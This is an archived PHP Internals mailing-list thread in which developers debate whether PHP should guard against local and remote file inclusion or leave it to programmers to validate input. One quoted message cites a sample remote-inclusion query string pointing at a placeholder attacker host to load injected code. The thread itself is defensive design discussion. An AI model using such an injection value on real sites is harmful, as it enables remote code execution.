Hi, 2012/4/12 Chris Stockton <chrisstockto...@gmail.com>: > Hello, > > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.cr...@gmail.com> wrote: >> I can't help but question whether we should even be worrying about LFI/RFI >> to begin with. Personally, I would *never* check-off on code that in any >> way used $_GET or $_POST directly in an include/require statement! It's >> just plain lazy. There's just no excuse for doing that. Use some sort of >> dispatch or translation table. Sure, it might seem less "magical," but >> it'll also protect you from some asshole hitting you with something like, >> "?file=http://hacksite.com/injectedcode.php?";. The individual code >> developer has to take *some* responsibility for their code. If this is >> such a problem, I would think the solution would be to update our docs to >> better warn people about this type of attack and educate them on how not to >> write code that's vulnerable to it. >> >> We can make the language secure; but, in the end, a language is only as >> smart as the person using it. >> > > > I really have a hard time understanding how this is even being > discussed, there is no real problem here. Making sure user input is > validated is a core concept of application development. How on earth > can you say "if you don't validate the users input, it's a security > problem, so php must fix it", it's the most ridiculousness argument I > have read on here in ages.
It is the same as saying that canary protection for stack smashing or ASLR is useless if programmer write correct code. Don't you appreciate that compilers/OSes have additional mitigation factor, do you? Or would you like to disable all of these mitigation features from your compilers/OSes? I guess not. C language is prone to be weak for buffer overflows, hence it is weak to code execution and/or massive information disclosure. (Like private key disclosure demonstrated by MoPB) Embedded language is prone to be weak for LFI. It also leads to code execution and/or massive information disclosure. These weaknesses are the nature of how languages are made. PHP is pure embedded language and there are people trying to change it. If we are going to change that, it is reasonable to change PHP so that LFI weakness will be closed. Not closing LFI issue is sound like "We have created Java language which is free from memory management, but stack smashing and various overflow issues still remains." > > _IF_ you absolutely must accept arbitrary user urls from users, which > we all have to do at some point, you use socket functions, file > functions, HTTP extension, whatever you want. If you are using INCLUDE > you are using the WRONG TOOL. You are WRONG. Decent programmers knew the most important mitigation factor is input control. It is top listed as monster mitigation in SANS CWE TOP 25 also. I guess nobody would argue that here. > > _IF_ you are needing to display downloaded user data onto a page, a > image for example, you need to use file functions, fpassthru, > something of the source. If you are using INCLUDE to do this, you are > using the WRONG TOOL. You are WRONG. > > _IF_ you for some reason must accept LOCAL PATHS from a user, and you > do not want to pass that input through a validation layer, you are > WRONG. > > It boils down to you either use the right tools and the right > validation methods or I promise this is only one of unlimited possible > security concerns Yasuo. We are discussing PHP being stronger against LFI, if we are going to adopt non-ebmed mode for PHP. PHP is good language for novice. Do we want them to learn details of LFI which is described in my RFC? How dangerous it is, how it could be exploited, etc. I believe it's just not worth it if we made PHP could work in non-embedded mode. By the way, how many people knew all the exploitation methods that I've written in the RFC? It's a real risk, but I guess many of us don't even think about or care. How we could expect novice or even average PHP programmer care about these risks? It's better that close window as much as possible where it is applicable. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
